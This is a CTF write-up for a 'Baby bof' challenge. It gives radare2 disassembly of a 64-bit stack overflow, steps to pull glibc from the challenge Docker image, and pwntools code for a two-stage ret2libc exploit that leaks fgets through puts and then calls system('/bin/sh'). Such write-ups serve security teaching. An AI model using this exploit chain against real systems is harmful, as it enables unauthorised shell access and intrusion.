Tags: radare2 pwntools ret2libc pwn leak 

Rating:

Baby bof

In this challenge you are given a binary, baby_bof and a dockerfile, and you are required to find the flag, presumably through system('/bin/sh').

Running the binary, you get the following output, with the input being asdf:

$ ./baby_bof
plz don't rop me
asdf
i don't think this will work

So, opening up the binary in Radare2 and running the i command:

[0x004005f2]> i
fd       3
file     baby_bof
size     0x20d8
humansz  8.2K
mode     r-x
format   elf64
iorw     false
block    0x100
type     EXEC (Executable file)
arch     x86
baddr    0x400000
binsz    6549
bintype  elf
bits     64
canary   false
class    ELF64
compiler GCC: (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0
crypto   false
endian   little
havecode true
intrp    /lib64/ld-linux-x86-64.so.2
laddr    0x0
lang     c
linenum  true
lsyms    true
machine  AMD x86-64 architecture
maxopsz  16
minopsz  1
nx       true
os       linux
pcalign  0
pic      false
relocs   true
relro    partial
rpath    NONE
sanitiz  false
static   false
stripped false
subsys   linux
va       true

We see that this binary has no stack canary and isn't a PIE. So, this is a candidate for a stack buffer overflow.

Coming back to r2, we look in the disassembly of main and see that it runs vuln. vuln is just a basic buffer overflow vulnerability: it gets 0x100 bytes into a 0x10 byte buffer with fgets.

59: sym.vuln ();
│           ; var char *s @ rbp-0xa0x004005b7      55             push rbp
│           0x004005b8      4889e5         mov rbp, rsp
│           0x004005bb      4883ec10       sub rsp, 0x100x004005bf      488d3dde0000.  lea rdi, str.plz_dont_rop_me    ; 0x4006a4 ; "plz don't rop me" ; const char *s
│           0x004005c6      e8d5feffff     call sym.imp.puts           ;[2] ; int puts(const char *s)
│           0x004005cb      488b156e0a20.  mov rdx, qword [obj.stdin]    ; obj.__TMC_END__
│                                                                      ; [0x601040:8]=0 ; FILE *stream
│           0x004005d2      488d45f6       lea rax, [s]
│           0x004005d6      be00010000     mov esi, 0x100              ; 256 ; int size
│           0x004005db      4889c7         mov rdi, rax                ; char *s
│           0x004005de      e8ddfeffff     call sym.imp.fgets          ;[3] ; char *fgets(char *s, int size, FILE *stream)
│           0x004005e3      488d3dcb0000.  lea rdi, str.i_dont_think_this_will_work    ; 0x4006b5 ; "i don't think this will work" ; const char *s
│           0x004005ea      e8b1feffff     call sym.imp.puts           ;[2] ; int puts(const char *s)
│           0x004005ef      90             nop
│           0x004005f0      c9             leave
└           0x004005f1      c3             ret

So, what is our goal? Preferably, /bin/sh. How can we do that relatively easily, with a ROP chain and no pre-existing code? Ret2libc.

That's where the Dockerfile comes in. Looking in the dockerfile, you see it pulls a certain version of Ubuntu. Except if Ubuntu 20.04 has updated its glibc during the CTF, the glibc installed in this dockerfile should be the exact same build as the one on the remote system.

So, to get the glibc:

mkdir tmp && cd $_
cp ../Dockerfile .
docker build .
docker images | head -2 # copy the image's ID, in my case it's b9513f2c6b0d
docker image save b9513f2c6b0d > img.tar
tar xf img.tar
for f in `ls */layer.tar`; do
    tar xf $f
done
cp `find -name libc.so.6` ..

Now we have the glibc, lets find some offsets. What do we need offsets for, though?

First chain

Thinking ahead, we should get the offset for a function in the GOT that has already been called before the exploit runs. Lets pick fgets().

So, to find fgets() in libc.so.6, we open it up in Radare2, run the aaaa command to analyse the binary, and then run the command s sym.fgets. This leaves us at the address 0x000857b0, where 0x0 is the base address. Next, we want the address of system(). Through the same process as fgets(), we find the offset 0x00055410.

Finally, we want the string /bin/sh. To find this, run the / /bin/sh in Radare2 to get the offset 0x001b75aa.

Now we have all our offsets, we can start searching for gadgets to construct our ROP chain.

First, we want gadgets to print the address of fgets() in glibc so that we can use this to calculate offsets. So, we need a gadget to pop rdi. Using ropper -f baby_bof --search 'pop rdi' we get the gadget pop rdi; ret; at 0x400683, which is optimal.

Next, we need a function to call and some arguments to apply.

I've picked the function puts(), and will be accessing it via the Procedure Linkage Table. So, we run s sym.imp.puts in r2 to get the address 0x4004a0. As an argument, we will have the GOT entry of fgets(), so that we can leak the libc address.

To find this, just run s sym..got.plt in r2, and find the address of reloc.fgets, which is 0x601028 in our case.

Finally, we need a return address. Because we want to run another chain after this, we just set this to the start of vuln, so 0x4005b8 (not 0x4005b7 because we messed up our base pointer in the previous chain).

So, joining it all together:

from pwn import *

fgets_offset = 0x0857b0
str_bin_sh_offset = 0x1b75aa
system_offset = 0x055410

poprdi = p64(0x400683)
puts_plt = p64(0x4004a0)
fgets_got = p64(0x601028)
vuln = p64(0x4005b8)

payload = (b'\x41'*18) + poprdi + fgets_got + puts_plt + vuln

I found the offset of 18 by stepping through the execution in PwnDbg.

Now, when we send this to our server, it sends back the address of fgets in glibc.

Now, from that we can calculate our absolute addresses for /bin/sh and system() in glibc.

Second chain

This chain just uses our calculated libc addresses to pop a shell:

...
recvd = # get received address and convert it to an integer
base = recvd - fgets_offset

str_bin_sh = p64(base + str_bin_sh_offset)
system = p64(base + system_offset)

payload = (b'\x41'*18) + poprdi + str_bin_sh + system

The final script is in sol.py.

Original writeup (https://github.com/tacopeland/CTF-Writeups/tree/main/dctf2021/Baby%20bof).